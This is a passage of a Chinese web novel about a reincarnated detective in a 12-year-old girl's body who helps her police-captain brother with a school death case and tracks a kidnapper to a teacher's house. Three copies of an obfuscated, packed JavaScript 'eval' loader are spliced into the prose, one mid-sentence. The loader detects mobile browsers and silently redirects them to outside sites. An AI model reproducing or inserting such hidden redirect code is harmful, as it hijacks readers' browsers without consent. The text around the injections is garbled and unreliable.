就她拖着血淋淋的尸体在走廊行走这一举动,就足以引起校内恐慌。 可在死者跳楼前,整个校园平静如常,没有任何要发生大事的征兆。 那有没有可能死者有同伙? 可是这个同伙是谁呢。 谁会去帮她自杀?他又基于什么利益?还有,她的同伙明知道她是在践踏自己的生命,为什么不去阻止? 是阻止没用,还是死者有不得不去死的理由? 许多问题得不到答案,姜颂禾觉得自己脑袋疼:“乱死了。” 她烦躁地晃了几下脑袋,试图把这一堆杂乱且没有丝毫联系的线索从自己脑子里甩出去。 林建刚快速从旁边的楼梯上跑上来,他的步伐慌乱,丝毫没有注意到站在一旁的姜颂禾。 他推开宿舍的门,着急地冲着里面大喊:“姜队,鉴定科有新发现。” — 三人着急忙慌赶回警局的时候,警局正忙成一团。 “什么情况?”姜酩野推开办公室的门问。 “通过对比,我们发现在凶器上检测出指纹和隋原的指纹基本一致,但因其表面有明显剐蹭过的痕迹。我们判断在这把凶器印上隋原的指纹后,又被另一个人拿动过。”办公室里,一个穿着白大褂的女人厉声道,“但因技术限制,我们无法判断残存的血迹时间,与指纹的时间谁先谁后。姜队,这是鉴定报告书。” 姜酩野自然地接过,思考着。 沈乐栖继续道:“还有,刚才我们鉴定科推演了一遍死者割伤自己的情况,我们可以确定死者自己割伤自己的可能性很大。” “知道了。”姜酩野敷衍地回复了句。 姜颂禾想要偷偷瞄几眼姜酩野手里的报告书,可姜酩野太高了,她连上面的字体是手写的还是印刷的都看不到。 更别提想要看清上面的文字内容了。 没用几分钟,姜颂禾还是放弃了。 她一脸幽怨。 姜酩野闲的没事长这么高干嘛?比她前世都要高出一个脑袋了。 姜颂禾认真观察着周遭环境。 自她走进这间办公室,她就隐约嗅到了空气中微弱的酒精味。与正常的酒精味不同,这里的酒精味更要复杂一些。 应该是姜酩野前面这位穿着白大褂的女人身上散发出来的。姜颂禾偏头,认真观察着她。 她有一头干净利落的黑色长发,皮肤白皙,眼光锐利,孤傲冷冽的五官,将她与生俱来的疏离感发挥的淋漓尽致。 姜颂禾敢肯定——她是法医,不是医生。 注意到姜颂禾不加收敛的目光,沈乐栖侧头看了眼道:“这个小孩是谁?你俩从学校拐来的?” 林建刚没客气道:“什么拐来的?你别胡说,她是姜队的妹妹,姜颂禾。” “妹妹?”沈乐栖愣愣神,喃喃道,“姜队,你还有妹妹呢。” “小鬼,懂点礼貌,”认真看着报告书的姜酩野提醒,“叫人。” 姜颂禾乖巧地从姜酩野身后走出来,她鞠了一躬,大大方方道:“美女姐姐你好,初次见面,我是姜颂禾,今年12岁了,在京祁第一初级中学上初一。” 姜颂禾本就长着一张肉嘟嘟的娃娃脸,皮肤粉嫩白皙,脸型小巧流畅,每次说起话来微微露出来的小虎牙,让她看起来调皮又灵动,十分讨人喜欢。 再加上,此时她脑袋后面扎了两个低垂的小麻花辫,说起话来一晃一晃地,像个八音盒里走出来的精巧人型小摆件。 先前还有些不易接近的沈乐栖主动半蹲下身子,与姜颂禾视线平齐。 沈乐栖给人的感觉偏冷,略带攻击性的长相,让姜颂禾不自觉有些压迫感,她下意识地后退了一步。 谁知她还没稳住脚,沈乐栖便快速地一把把她拽进自己怀里,使劲亲昵:“天呐,禾禾,你乖死了,好可爱好可爱。” “哎……哎……哎。”毫无防备的姜颂禾被她拽得有些站不稳身子了。 好不容易,沈乐栖松开她。 沈乐栖仰头看着正在看着报告的姜酩野,真心地问:“姜队,这个真的是你妹妹啊,你是怎么生出这么可爱的妹妹的?” “嗯?”姜酩野越心思越不对劲,他空了空心思吐槽道,“生她的是我爸妈。” 不是我。 “我知道,”沈乐栖由衷地感叹:“不过她也太乖了吧!她今晚能住我家,跟我睡一块吗?” 林建刚犹犹豫豫着说:“这不太好吧。” “又不是住你家,你不太好什么?”沈乐栖撇了他一眼道。 林建刚当即闭上了嘴。 姜酩野没有立刻回答,他低头正巧对上了姜颂禾抑制不住地骄傲目光,无声中她仿佛在说——看吧,除了你,没人不喜欢我,老子的魅力就是这么大! 姜酩野冷嗤一声,吐槽道:“你别被她骗了,她就是个捣蛋鬼,可会装了。今晚她就是因为翻墙,才被我和林建抓包的。” “你翻墙了?”沈乐栖转头问。 “嗯,”姜颂禾忐忑着点点头,“但我……” 姜颂禾后面的话还没说出来,沈乐栖立刻道:“那也可爱” 姜颂禾腼腆地笑了笑。 她长这么大还是第一次被人这么明目张胆的夸可爱。 还真有点不好意思。 冷不丁地沈乐栖又道:“禾禾,你真的有12岁?” “嗯。”姜颂禾开心地重重应了声。 沈乐栖又道:“可我怎么感觉,你像才七八岁的样子呢。” 姜酩野觑着姜颂禾,坏笑着补了一嘴:“可能是因为她长得矮吧。” 被夸到飘飘然的姜颂禾脸一秒耷拉下去。 她不愿意听这种话,收回去。 “看什么看?”姜酩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240810|165827||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野道,“我有说错吗?” “姜队,你别说她,”沈乐栖揉着姜颂禾的脸,感叹道,“可爱死了。” 姜颂禾不愿和姜酩野计较,她对着沈乐栖道:“姐姐,你们刚才是在说无法判断是留下指纹的人拿刀杀死死者的,还是有人拿着印有指纹的凶器杀死死者的吗?” “对,”沈乐栖道,“你有什么想说的吗?” “我觉得很简单啊,”姜颂禾道,“你先前在验尸报告上写,死者右臂伤痕由外到内逐渐变浅,左臂伤痕也是由外到内逐渐变浅,说明死者的左臂和右臂都非凶手一只手割伤的。而死者右臂伤痕明显多于左臂,再结合伤口和凶器的形状和着力点,可以基本判定凶手是左撇子。” “你只需要调查指纹的方向,和摩擦指纹的方向,看看哪个更符合左撇子的使用习惯不就可以得出结论了吗?” “对啊,”沈乐栖恍然大悟,“我怎么没想到?” 她两只手夹着姜颂禾的脸,宠溺地左右晃着:“我们禾禾可真是个小机灵鬼。” “我现在就去检测一下。” 沈乐栖刚小跑离开办公室,姜酩野便斜眸盯着姜颂禾道:“你之前不是和我说你不认字吗?” “验尸报告你怎么看懂的?” 姜颂禾知道,他是在翻她先前偷看验尸报告的旧账。 不过既然当时是他抓包的,他又是她亲哥,那么她还有什么好怕的? 他总不能六亲不认,把他自己的爸妈抓去局子里写检讨吧。 “我怎么可能不认字,”姜颂禾干笑着装傻道,“我好歹也是初中生,你别污蔑我嗷。” 姜酩野表示怀疑,他略带压迫感地发出一个鼻音:“嗯?!” 姜颂禾心虚地摸了摸鼻尖。 毫无察觉的林建刚弓腰笑道:“我们禾禾这么聪明,又有刑侦天赋,以后要不要考警校当警察啊。” “要!”姜颂禾爽利地答应下来。 “那就去我办公桌写作业,”姜酩野耐心耗尽道,“再有半个小时,爸妈来接你。” “我觉得破案更重要,”姜颂禾说,“我可以帮……唉……别拽我领子。” “不需要你帮。” 姜颂禾被姜酩野拎到一张椅子上,姜颂禾挣扎着起来,又被姜酩野一秒按下去。 “写不完作业,不许起来。” “不起来就不起来!” 还差一点线索她就能确定死者到底是不是自杀了。 他现在不让她接触案子,不就相当于有一块儿香饼摆在她的面前,却告诉她还差一点香葱提味吗? 这香葱有那么重要吗? 姜颂禾破罐子破摔:“你不让我查案,这作业我写不了一点!” “好,好样的,希望你过会儿也能这么有骨气,”姜酩野拿起桌子上的座机话筒,装模作样地放在自己耳朵上,“喂,妈……” 姜颂禾一把抢过,重新扣在桌面上,她嘻嘻笑道:“我跟你开玩笑的,未成年不学习还能干啥?去挖煤吗?” “你最好真的有这个觉悟!”姜酩野不相信地嘱托道。 “你放心,我已经把好好学习天天向上刻在骨子里了。”姜颂禾拍着胸脯保证。 姜酩野将信将疑地站直身子。 此时,门外跌跌撞撞冲进来一个人。 “你松开我,我要见你们领导。”隋原甩开限制他的小刑警,道。 “怎么回事?”姜酩野冲着门口厉声问道。 “我没杀人?你们为什么抓我?”隋原不服气道,“你们应该抓的是年予白!” 12.第 12 章 “什么情况?”姜酩野看着门口,蹙眉问。 “队长,隋原说他没有杀刘念,吵着闹着要见你。”之前那名小刑警道。 “行,我知道了。”姜酩野回答。 隋原道:“杀刘念的是年予白,你们应该抓的人是他。” “为什么是他?”姜酩野问。 隋原完全没了先前冷静地模样,他撕心裂肺道:“刘念自杀前的几个小时,我亲眼看到刘念和年予白两个人在距离学校四公里的市里火锅店吃过火锅,一定是年予白杀了人,故意栽赃我的。” “火锅店距离学校这么远,你是怎么发现他们的?”姜酩野问。 “我凑巧路过,正好看到了。”隋原道。 这次,姜酩野没有吭声,反而平静又淡漠地凝视着他。 隋原表情有些慌了,他道:“你相信我!我真没有杀人。” 姜酩野蹙眉,道:“死者去世后的那天晚上,你去哪儿了?” “我……”隋原带了些迟疑,道,“我在学校忙了会儿学校档案,结果不小心睡着了。” “有证人吗?”姜酩野问。 “没有,”隋原避开姜酩野审视地目光,道,“白天学校发生了那档子事,学校所有老师都吓得不轻,我哪敢再让他们帮忙整理资料啊。” “什么档案这么重要,必须当天整理完?”姜酩野继续问。 “是学校老师的上课安排,”隋原慢悠悠解释,“你知道的,每一个老师教授的班级固定,少一个老师,其他老师就要补上,否则很多学生的课业就会被耽误。” “可很多老师年纪大了,不能长时间上课,所以必须提前安排。” “也算是对老师们的人文关怀吧。” “哥,我看他昨天晚上不是调课,而是去出轨去了。”姜颂禾托着腮,一脸看好戏的表情,语气还吊儿郎当的。 “你胡说!”隋原气愤地立刻跳起来反驳。 “那你说,你为什么还穿着昨天的衣服?”姜颂禾指着他身上的衣服道,“你昨天晚上在办公室里睡着了,早上醒的时候,不应该是先回家换套衣服再去学校吗?怎么你连家都不回,就闷头继续忙工作了?” 隋原停顿了一秒,音调不自觉降低了几分:“我人懒,不喜欢经常换新衣服。” 姜颂禾指着隋原,一副“我就知道”的表情,对着姜酩野陈述道:“哥,别信他,他就是出去出轨了,你赶紧和他老婆说说,出轨男就应该被钉死在耻辱柱上!” “我没有!你别胡说八道。”隋原大声争辩道。 “那你说你昨天晚上去哪儿了?”姜颂禾道。 “我昨天在学校加班忙了一晚上。”隋原没底气地争辩了句。 “你骗人,你就是去嫖|娼了!”姜颂禾拍桌而起,道,“我们级部都传遍了。” “我同桌王铁柱还亲眼看到你搂着一个女人去了……” “你少胡说八道!”姜颂禾后面的话还没说出口,隋原就率先打断道,“我什么时候去过那种场所?” “你就去过!你就去过!”姜颂禾面红耳赤地和他争执道,“我同桌亲眼看到的!你昨天一定是去那儿了!” “我没有!我昨天是去市里打麻将了,麻将馆老板可以给我作证!”隋原生怕她不信自己,他连忙从口袋里掏出一沓皱皱巴巴的钞票,里面一毛两毛都有,他着急道,“你要是不信,可以看看这个,这些都是我赢得钱!我昨天一共赢了3……” 话音未落,隋原展示自己钞票的手倏地僵硬在原地,表情也不自觉尴尬了几分。 顷刻,整个办公室安静一片。 仿佛天上掉根针,都能被屋里的所有人听到。 “哥,这次他没说谎,”姜颂禾仰头盯着一旁的姜酩野,冷静道,“他昨天晚上确实是去赌博了。” “你诈我……”隋原不敢相信地喃喃了句。 姜颂禾没说话,只是嚣张地冲他晃了晃脑袋,然后一脸嫌弃地用手指点了点他,最后索性摊起了手。 无声中仿佛在说——怎么是诈你呢,明明是你防备心太差。你怎么不想想,要是我真有一个同桌叫王铁柱,我怎么敢在你面前提他名字呢,你可是校长啊。 隋原气得够呛。 姜酩野若有深意地低眸盯着姜颂禾,只见她毫无防备地手舞足蹈了半天,像是在炫耀又像是在刻意挑衅。 半响,他冷静地合起手里的报告,道:“聚众赌博归辖区派出所管,林建刚,把他带过去吧。” 隋原愣住,道:“那是不是我的嫌疑洗脱了?” “案件还在调查中,具体情况不方便透露。你可以先去派出所处理好赌博的事情,后面我们有新线索了,再联系你,”姜酩野道,“要时刻保证我们警方可以随时找到你,如果你畏罪潜逃,那么你将受到比自首严重一倍的惩罚。” “行,我一定配合警方工作。” 隋原说完,便跟着林建刚离开了。 姜酩野冲着一旁的实习生道:“小蒋,去调查一下他说话的真伪。” “好。”那位小实习生应声跑了出去。 办公室的人都各自出去忙了,独留姜家俩兄妹留在桌前。 姜酩野自然地揉了揉姜颂禾的头顶:“在这儿好好写作业,我去查案了。” “唉?”姜颂禾疑惑地盯着他。 就这? 她刚才抢着试探,他都不生气的吗? “怎么了?”姜酩野读出了她语气里的意思,他问。 “没事没事,”姜颂禾笑着摇摇头,“注意安全哥哥。” “嗯。”姜颂禾应着声。 待到姜酩野的脚步声消失在门外,姜颂禾立刻放下手里的钢笔从椅子上站起来。 好好学习?怎么可能啊。 学习哪有查案重要? 还有……这初中数学算数题谁要做啊。 她又不是小孩子! 姜颂禾烦躁地把作业本扣起来。 她偷偷溜去门口,探出头环视一圈,确定没熟人后,她才气定神闲地拉开办公室的门从里面走出去。 “禾禾,你要去哪儿啊。” 姜颂禾还没走几步,身后冷不丁响起一个熟悉的声音。 姜颂禾身体一激灵。 随即转身,跺脚道:“我要上厕所,憋不住了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246161|165827||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林建刚明显慌了,他连忙指着不远处,道:“厕所在那边。” “好,”姜颂禾一边跺着脚,一边快速跑远了,“谢谢建刚哥哥。” 姜颂禾跑过转角,确定林建刚没有追出来后,她才默默松了口气。 京祁市警察局很大,各种办公室一应俱全。 她记得档案室应该在……找到了! 姜颂禾双目放光。 “你好,有人在吗?”姜颂禾敲了敲门,询问道。 “谁啊。”里面,一个沙哑的声音响起来。 他拉开门,习惯性地仰头看了眼,没看到人后,他才缓缓把目光向下移动了一下。 刚巧,对上了姜颂禾标准的八齿笑颜。 “你是谁家的?” 档案室的负责人是一个年过半百的老人,与正常五十多岁的人不同,他面容极度消瘦,皮肤苍老,白发皑皑,身体的每一处细节都仿佛在诉说着时间的痕迹。 “我是刚转来警队的姜酩野的妹妹。”姜颂禾乖巧地回答。 “哦,姜队的妹妹啊,”老人问道,“你来档案室有什么事吗?” “我哥哥在忙案子,他让我来取一下关于京祁第一初级中学的档案。”姜颂禾道。 “行,”老人招呼道,“那你先进来吧,我去给你拿。” 姜颂禾:“好。” 档案室是一个密不透风的小屋子,整个房间黑漆漆的,只有木桌上摆着的小台灯微微亮着。 老人从桌子上拿起一个银白色手电筒,他扭开手电筒后面的铁质旋钮,将两块粗|大的电池装进去后,手电筒的白色灯光才亮起来。 “京祁市第一初级中学……我记得是在第三个架子……”老人佝偻着身子,举着手电筒喃喃着往前走。 90年代,国内供电严重不足,很多时候都需要靠强制停电来维持群众的正常生活。 而像档案室这种面积大,平时又不常用,且需要开很多钨丝灯才能照亮的屋子,为了省电,就只能减少不必要的用电量。 姜颂禾认真观察着自己面前的这张书桌。 桌子上摆着一个印着大牡丹图样的茶缸,茶缸左边则摆着一本纸质粗糙的小说。姜颂禾漫不经心地扫了一眼,随即便看到了上面很明显的主角名字——韦小宝。 是金庸老先生的《鹿鼎记》,这个年代这种类型的武侠小说好像还挺流行的。 “找到了。”老人举着手电筒颤颤巍巍地从档案室的架子里面走出来。 他将两沓档案递给姜颂禾:“这是建校以来发生在校内的所有案子,你可以先给姜队看看。” “好,”姜颂禾愉快应下,“谢谢大爷。” “不客气,”老人慈祥地看着姜颂禾,感叹道,“好乖的娃娃。” 姜颂禾抱着档案快步跑出档案室,她找了一个来往人群相对较少的楼梯口。 她掏出里面的手写档案,一个案子一个案子的看着。 这个学校虽然建校时间不长,但发生在校内的案子还挺多的。 就像是这个学生失踪案…… 姜颂禾无语着刚要略过去,一瞥眼看到失踪学生的名字——朱莹莹。 13.第 13 章 “在我们学校建成的第五年,有一个学生跳楼死了,当时她的头上就带着一个和你这个一模一样的海棠果发夹。” “前些天我去偷看班主任在不在办公室的时候,在教学楼的树丛里捡到了一个海棠果发夹。还是年老师和我说了这个故事后,我才把它扔了的。” “你赶紧扔了它,它在我们学校不祥。” “我说的都是真的!我还知道这个发夹主人的名字——” ——叫朱莹莹。 姜颂禾猛然瞪大眼睛。 是先前李铁柱提过的那个女孩子。 姜颂禾快速把档案从袋子里抽出来,随后一字一句地阅读着档案。 上面的文字很多,总结一下就是:死者朱莹莹,12岁,性别女,京祁市第一初级中学初一学生,于11月23日凌晨五点四十分坠楼身亡,身上多处淤伤,符合坠楼身亡条件。死者衣物穿戴整齐,尸体表面无任何外伤,发现尸体时发顶正夹着一个红色海棠果发夹。死者家属拒绝解剖,并强烈要求以自杀结案。 看来李铁柱说得一点都没错,她捡到的那个海棠果发夹,就是朱莹莹的。 那么上面的血迹,也是她的了? 刘念、朱莹莹、还有年予白,好像都和这个海棠果发夹有牵扯,那这三个人又是什么关系? 姜颂禾思考着,手里翻看照片的速度不自觉加快。 直到翻看到死者的正脸照片。 姜颂禾的身体倏地僵住。 这…这俩人长得也有点太像了吧。 - 姜颂禾抱着档案走进警队办公室的时候,办公室里坐满了人。 很显然,是出外勤的警员回来了。 “我们现在知道刘念这个名字是假的,真正的刘念……”姜酩野话还未落,瞥眼看到抱着档案走进来的姜颂禾,他蹙眉温柔道,“颂禾,哥哥有会要开,你先去外面。” 他话音刚落,屋内所有人的目光整齐地看过来。 姜颂禾懵懵地眨了眨眼,道:“哥哥,我刚才上厕所,路过档案室,里面的大爷让我把这个交给你,他说你们破案可能用得到。” 姜酩野伸手,姜颂禾乖巧地小跑过去把档案交到他手里。 姜酩野随手把里面的档案报告拽出来,立刻一张照片飘到了地上。 “姜队!这个人和刘念长得好像啊。”顺手捡起照片的林建刚道,“就像缩小版的刘念。” 姜酩野的眉头再次皱紧了几分,他的手摩挲着档案上的名字,像是在思考,他喃喃道:“朱莹莹?” “哦,我想起来了,这一年陆陆续续有不少信件送往我们警局,好像就是关于朱莹莹的。起初我们还以为是恶作剧,没怎么理会。因为信上只说五年前的学生跳楼自杀案另有隐情,希望我们警方展开调查,她可以给我们出警费,”人群里一名警员道,“可是那个案子五年前就已经结案封存了,我们让她拿出足以旧案重查的证据,结果她就像凭空消失了,再也没有出现过。” “我们特地走访询问过朱莹莹的家长,他们说从没去过警局,并说他们失去女儿的这段记忆太惨痛,让我们不要再提,更不要因为这件事再来找他们了。” “姜队!我突然想起来,朱莹莹好像有个姐姐叫朱珍珍,是刘念的舍友,也是教育专业的,俩人是上下铺,”正在开会的一名警员道,“关系特别好。” “死者用刘念当假名,那有没有可能死者实际上是朱珍珍啊。”林建刚喃喃道。 “现在户籍制度不完善,有这个可能。”又一位警员道。 “五年前的案子,谁接触过?”姜酩野举着手里的档案,对着人群问道。 一位稍微年长的警员,握着茶杯道:“这个案子发生的时候,我刚入职,接触到的线索不是很多。我记得当时学校刚建成,很多乡镇的学生和老师都被聚到了这所学校。” “这个小女孩很奇怪,她学习不好,平时不怎么说话,也没什么朋友。老师都说这个小姑娘很老实,谁都没料到她会跳楼。” “当时家长反应也很奇怪,刚发现死者的时候一个劲儿哭,很配合我们的工作。结果第二天,我们请省队的法医来解剖尸体的时候,他们说什么也不配合了,反倒是她那个姐姐大吵大闹让我们还妹妹一个公道,结果被父母呼了一巴掌。” “有没有可能是在学校受到了什么委屈,心理承受不住才选择了自杀?”林建刚下意识问了句,“死者家长觉得这件事不光彩,才不配合警方工作的?” 不对。 这所学校这么奇怪,绝对不是受委屈这么简单…… 姜颂禾低头思考着。 “应该不是,同学都在说朱莹莹除了不爱说话不爱交集外,和同学交往并无任何异常。”之前那位年长一些的警员猛然想到了什么,他立刻补充道,“哦,我想起来了,当时朱莹莹的班主任说朱莹莹个子不高,身体特别瘦,低血糖也很严重,经常上讲台上做题的空儿,就晕倒了。” “所以,当时我们警队的人怀疑,是朱莹莹的家长虐待她,故意不让她吃饱饭,所以才这样的。” “朱莹莹家很困难吗?”林建刚问。 “对,他们家非常不富裕,一共三个孩子。朱莹莹排行老二,前面一个姐姐,后面一个弟弟。说起来这个小孩也是可怜,爸爸常年赌博,妈妈又一心想要个儿子,所以在生完她后,又紧赶慢赶生了一个男娃,”那位警员继续道,“那个男娃和朱莹莹差不了几岁,现在估计都上高中了吧。” “但听说学习不好,退了学,现在不知道又去哪儿上学去了。” “姜队,年予白不见了。”门口,一个着急的声音推门而入。 姜酩野:“怎么回事?” 赶回来的顾枳聿喘着粗气道:“我刚领人去年予白家里,发现他家根本没人。等我们强行入门,发现屋子里乱糟糟的,像是畏罪潜逃了。” 不对,绝对不可能。 如果真的是年予白把凶器放校长办公室的话,那么他绝对没可能畏罪潜逃。 他一定是被绑架了! 可是是谁呢? 校长隋原被送去了派出所,学校里还有…… 冷不丁,姜颂禾脑子里闪过一张消瘦的脸。 “哥哥……”姜颂禾刚要说话,等她回过神,整个办公室已经空无一人了。 他们行动可真快。 姜颂禾快速跪坐在姜酩野的办公桌椅子上,她拿起姜酩野的座机音筒。 迟疑片刻,她才想起来自己根本不知道姜酩野的移动电话号码。 姜万湫和邱滢没有移动手机,也联系不上。 再加上现在这个时间点,他们估计都还在加班,没回家。 指望通过他们联系上姜酩野简直痴人说梦。 姜颂禾转念快速拨通了另一个电话号码。 “你好,哪位?”电话那边的声音嘶哑又稚嫩,伴着隐约的电流“嘶喇”声。 “铁柱,是我,姜颂禾。你知道万老师家住哪儿吗?”姜颂禾着急地问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15253194|165827||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “万老师?”李铁柱好奇地问,“你问万老师住哪儿干嘛?” “今天体检的时候,我捡到了他的身份证,我打算还给他。”姜颂禾随口编了个理由。 “你可以明天……”李铁柱道。 “不行,必须今天。”姜颂禾不容拒绝道。 “哦……好,”李铁柱想了一会儿,道,“他家住神原街54号。” “好,谢谢。”姜颂禾快速道了句谢后就挂断了电话。 她把书包里的课本一一拿出来,独独留下原主上墙爬屋的“作案工具”。 随后,她又从自己的作业本上撕下来一张纸,在上面认认真真地写上从李铁柱那边得到的地址。 写完后,她又觉得不妥,顺道把她的猜想写在了纸张的反面。 姜颂禾快步跑出门,对着门口值班的保安大爷道:“大爷,我有急事要出去一趟,这是我要去的地址,麻烦你给我哥哥打个电话,让他赶紧去接我。” 大爷看着纸条上一笔一划稚嫩的文字:“你哥哥的电话号码,你有吗?” “我没有,”姜颂禾有些着急,“但我哥哥是姜酩野,刚入职的,人事部应该有他的电话,你可以托人打听一下。” “哦,那个新转来的刑侦队长啊。”大爷不紧不慢地说。 “对,”姜颂禾着急道,“你告诉他,让他赶紧过去。” “啊?”大爷没反应过来的空儿,姜颂禾已经随便拎起一辆二八大扛骑远了。 原主以前不务正业,经常逃课骑着自行车在整座城市晃荡,所以现在的姜颂禾觉得自己的脑子就是活地图,只要有地址名称,她就能赶过去。 果不其然,没用十几分钟,她就赶到了神原街。 她把车子随便挺进一个草丛里,随后找到一棵还算比较高的树木爬上去。 她目测了一下位置,随后从书包里掏出一个自制望远镜带在眼睛上。 她所望的方向,正是万育才的家。 说来也巧,姜颂禾原以为自己挨家挨户找,得找好久才能确定万育才家的位置。 谁知,她刚骑车到门口,就看到门牌上挂着一块儿木匾,上面明晃晃地写着两个字——万家。 姜颂禾想过轻松,但没想过这么轻松。 此时,万家黑漆漆的,一等灯光都没有。 卧在树干上的姜颂禾心里有些忐忑。 要是她推理错了怎么办?要是年予白根本不在这里,姜酩野却赶了过来,会不会影响他工作啊。 况且,她还没有任何证据证明年予白就是被万育才绑走的。 姜颂禾烦躁的揉了揉头发。 前世,她跟着被誉为警界第一神探的师爷单独查案习惯了,一个人能解决的案子,她绝不多叫第二个人。 因为她总觉得那是在浪费警力。 可是这具初中生身体,姜颂禾也不知道她能发挥到什么程度,贸然出手,她说不定又要转世投胎了。 夜晚,月挂树梢,周围安静地要命。 许久无事发生,躲在树上的姜颂禾终于有了些困意,她打了个哈欠,双目无神地眨了眨。 嘭—— 屋内一声玻璃碎掉的声音打破了夜晚的寂静。 姜颂禾稳了稳身子,她举着望远镜顺着声音的方向看过去。 院子里,左侧屋子的门不知何时被拉开了一条缝。 从姜颂禾的角度上看过去,刚好可以看到黑暗的夹缝里——露出的一双通红到仿佛快要滴血的眼睛。 14.第 14 章 这一夜,天气微凉,银白色弯月渐渐从薄云的遮挡里露出来。柔和的月光如同缓缓拉开的幕布,在地面上平移出一条清晰可见的分割线。 明暗分明,又对比明显。 直至光亮扫过那双通红又布满血丝的眼睛,姜颂禾才得以看清它的全貌。 那是一双圆润的杏眼,眼白部分被染成了艳红色,他的瞳孔漆黑,木讷又呆滞的目光仿佛凝望深渊的囚者,绝望又充满悲悯。 姜颂禾心头一颤,没来由的恐惧从脚底直升大脑。 缓缓地,从黑着的主屋里走出来一个人,他拎着一条皮鞭满是忿愤地走去了那间小屋子。 是万育才。 姜颂禾小心翼翼地往后面的树叶里躲了躲。 “妈的。”万育才伸腿一脚踢开了那扇虚掩的房门。 本就摇摇欲坠的木门被他踹得咯吱响。 姜颂禾躲在树上想要看清屋内的全貌,可屋子里面太黑了,依靠月光她只能勉强看到门口附近。 只见万育才走进屋子,紧接着一阵鞭打声随之传出来。 “隔壁,干嘛呢?” 这个年代大多都是有着四五间房间的平房,大门正对的房间是主屋,其余的则都按照方位来命名,就比如南面的屋子叫南屋,西边的屋子叫西屋,东边的屋子叫东屋。 而相挨的两户人家中间就一堵共用的墙面,薄薄的,根本挡不住任何声音。 此时,万家的闹腾声传到隔壁,姜颂禾看见一个穿着围裙的大妈提着菜刀从主屋里走出来。 “大晚上的,还让不让人休息了?” 听到隔壁大妈的叫喊声,万育才从屋子里探出头来,大吼道:“家里的畜生不听话,正教训呢。” 他的声音和善,对面完全没有听出来他的不对劲。 大妈生怕万育才听不清,她继续大声吐槽道:“养了条哑巴狗,被打了也不会叫,教训管个屁用。” “是是是。”万育才连忙狗腿子般附和,“几分钟就好。” “我这造了什么孽?!跟你这种人当邻居……” 说着,隔壁的大妈走进自己的屋子,并重重地关上了门。 万育才表情立刻变得十分冷峻,与刚才谄媚又讨好的模样判若两人。 他眸子低垂,他如同藐视蝼蚁般俯视着屋内。 万育才的嘴巴张开又合上,躲在树冠里的姜颂禾根本听不清他说了什么。 但好在前世她跟着自家师爷学过几天的唇语,勉强能“翻译”。 姜颂禾学着万育才的嘴型,尝试着发出声音:“再过两个小时……你就解脱了,我亲自……送你去……”和朱珍珍团聚?! 朱珍珍? 姜颂禾吃了一惊,那……被关在这间屋子的人真的是年予白? 他不是才消失几个小时吗?怎么会被折磨成这个样子? 还有为什么要再过两个小时? 他在等什么?同伙吗? 该死。 万一两个小时后,姜酩野还没带人过来呢,万育才的同伙先带人赶过来了怎么办? 这个年代没有手机可真是处处受限。 就在姜颂禾着急忙慌想要尝试联系姜酩野的时候,万育才又对着年予白补充了一句。 “不过介于你刚才不听话,现在我要亲手割断你的腿。” 割断腿? 读出唇语的姜颂禾拖延不得,她借着遮挡匆忙且小心地从树干上滑下来。 这一日,天气微凉,路上几乎看不到任何行人。 想要求助旁人根本不可能。 再加上姜颂禾也不确定附近的住户有没有万育才的同伙,万一运气不好求助到万育才的同伙,她和年予白都得交代在这里。 所以想要拖延时间到姜酩野来,她只能靠自己。 姜颂禾目视了一圈,最终决定搬出之前藏起来的自行车,她故意把后胎的气体放出来,然后才在万育才的家门口敲了敲门。 “你好,请问有人在家吗?”姜颂禾一边敲着门一边大喊,“你好?” 许久宅子里没有穿出任何响动,姜颂禾不由得生出一个不好的预感。 她敲门的速度加快。 砰砰砰—— “你好,你好?!” 砰—— “谁啊。”一个不耐烦的声音从门口传了出来。 那人拉开门,看到来人后,他吃了一惊,念叨道:“姜颂禾?” 此时,姜颂禾正推着一个与她差不多高的二八大杠,右手握成拳,一副要敲门的姿势。她一见到万育才,表情立刻欣喜起来:“唉?万老师?!你怎么在这儿!这是你家啊。” 她的笑容天真又仿佛丝毫没有防备。 姜颂禾觉得自己要是拿现在这副演技去参加比赛,都可以拿个单区影后了。 万育才松了口气,他悄悄把大门门缝拉得更大了一些。 姜颂禾的目光下意识地穿过万育才的遮挡看向里面。 “你晚上不回家,来我家干嘛?”万育才严厉道,“是不是又要去河边摸鱼啊。” “我哥哥今晚在局里查案子,我去给他送水饺去了,谁知道刚骑车到半路,车子突然没气了,所以就想着随便敲个人家的门问他们借借打气筒。”姜颂禾道。 “你家住哪儿?”万育才提防着问。 “北格街那边,从这边直至往西就到了。”姜颂禾快速回答。 